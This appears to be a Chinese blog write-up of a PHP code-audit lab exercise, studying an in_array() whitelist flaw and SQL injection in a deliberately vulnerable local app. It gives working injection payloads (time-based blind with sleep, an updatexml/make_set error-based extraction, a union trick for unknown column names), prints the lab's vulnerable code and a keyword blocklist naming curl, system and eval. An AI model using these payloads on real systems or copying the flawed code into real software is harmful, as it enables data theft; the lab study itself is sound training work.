美文网首页
PHP代码审计学习Day1-in_array函数缺陷

PHP代码审计学习Day1-in_array函数缺陷

作者: gelinlang | 来源:发表于2019-07-11 20:00 被阅读0次

    在github发现了个代码审计学习的资料,项目叫PHP-Audit-Labs,红日安全做的,跟着学习下做个记录吧。
    知识点:in_array(),在不知道列名的情况跑数据,make_set()。

    in_array():检查数组中是否存在某个值,可以接受3个参数(a,b,c)。在b中寻找a,如果存在则返回true,否则返回false。第三个参数c默认为false,如果指定为TRUE ,则 in_array() 函数会进行强检查,检查a的类型是否和b中的相同,则返回 TRUE,否则返回 FALSE。

    将他的代码下到本地,我这使用phpstudy,用它给的sql语句在本地数据库里运行一下,再将数据库账号密码改下,访问,配置成功。

    先黑盒测试,待会在对照代码测试。需要传一个id。随便传一个id=1,返回数据,添加单引号,报错。传id=1' and '1'='1,也出错。传id=1 and 1=1,返回正常,传id=1 and 1=2返回异常。存在数字型注入。

    尝试union查询,发现union被过滤了。接着用updatexml(1,concat(0x7e,(select database()),0x7e),1),发现concat被过滤了。用burpsuite的intruder模块fuzz测试下,大概过滤了or,union,concat,sub,join这些关键字。直接盲注吧,用mid()代替substr(),id=2 and if(mid((select database()),1,1)='d',sleep(5),1)。

    然后想起了or被过滤了,用不了information.schema,也就是说跑不了表名和列名。emmmm接下来盲猜一下它的表(admin,user,users之类的),猜到表名users,列名从页面显示中得到有(id,name,email,salary)。
    如果实在不知道列名,可以通过这个姿势

    select `4` from (select 1,2,3,4 union select * from users)a
    

    正常查询


    图片.png

    发现列名变成了1,2,3,4


    图片.png
    成功查到第3列
    图片.png

    但是这里过滤了union,此处用不上这个姿势。

    接着对应着代码看,先看index.php,大意是得到一个id,经过stop_hack()处理,再用in_array()处理后查询。

    //index.php
    <?php
    include 'config.php';
    $conn = new mysqli($servername, $username, $password, $dbname);
    if ($conn->connect_error) {
        die("连接失败: ");
    }
    
    $sql = "SELECT COUNT(*) FROM users"; 
    $whitelist = array();
    $result = $conn->query($sql);
    if($result->num_rows > 0){
        $row = $result->fetch_assoc();
        $whitelist = range(1, $row['COUNT(*)']);
    }
    
    $id = stop_hack($_GET['id']);
    $sql = "SELECT * FROM users WHERE id=$id";
    
    if (!in_array($id, $whitelist)) {
        die("id $id is not in whitelist.");
    }
    
    $result = $conn->query($sql);
    if($result->num_rows > 0){
        $row = $result->fetch_assoc();
        echo "<center><table border='1'>";
        foreach ($row as $key => $value) {
            echo "<tr><td><center>$key</center></td><br>";
            echo "<td><center>$value</center></td></tr><br>";
        }
        echo "</table></center>";
    }
    else{
        die($conn->error);
    }
    ?>
    

    在config.php中,过滤了一些关键字。

    //config.php
    <?php  
    $servername = "localhost";
    $username = "root";
    $password = "root";
    $dbname = "day1";
    
    function stop_hack($value){
        $pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
        $back_list = explode("|",$pattern);
        foreach($back_list as $hack){
            if(preg_match("/$hack/i", $value))
                die("$hack detected!");
        }
        return $value;
    }
    ?>
    

    再看下题解,发现它用make_set()替代了concat()。搜了一下它的用法

    id=4 and (select updatexml(1,make_set(3,'~',(select flag from flag)),1))
    

    make_set(bits,str1,str2,,,,),将第一个参数转化为二进制,在1处打印字符str,0处不打印,详情如下
    1的二进制为0001,倒过来为1000,打印a。


    图片.png

    2的二进制为0010,倒过来为0100,打印b。


    图片.png
    7的二进制为0111,倒过来为1110,打印a,b,c。
    [图片上传中...(图片.png-7b38da-1562846283165-0)]

    相关文章

      网友评论

          本文标题:PHP代码审计学习Day1-in_array函数缺陷

          本文链接:https://www.haomeiwen.com/subject/wlvrkctx.html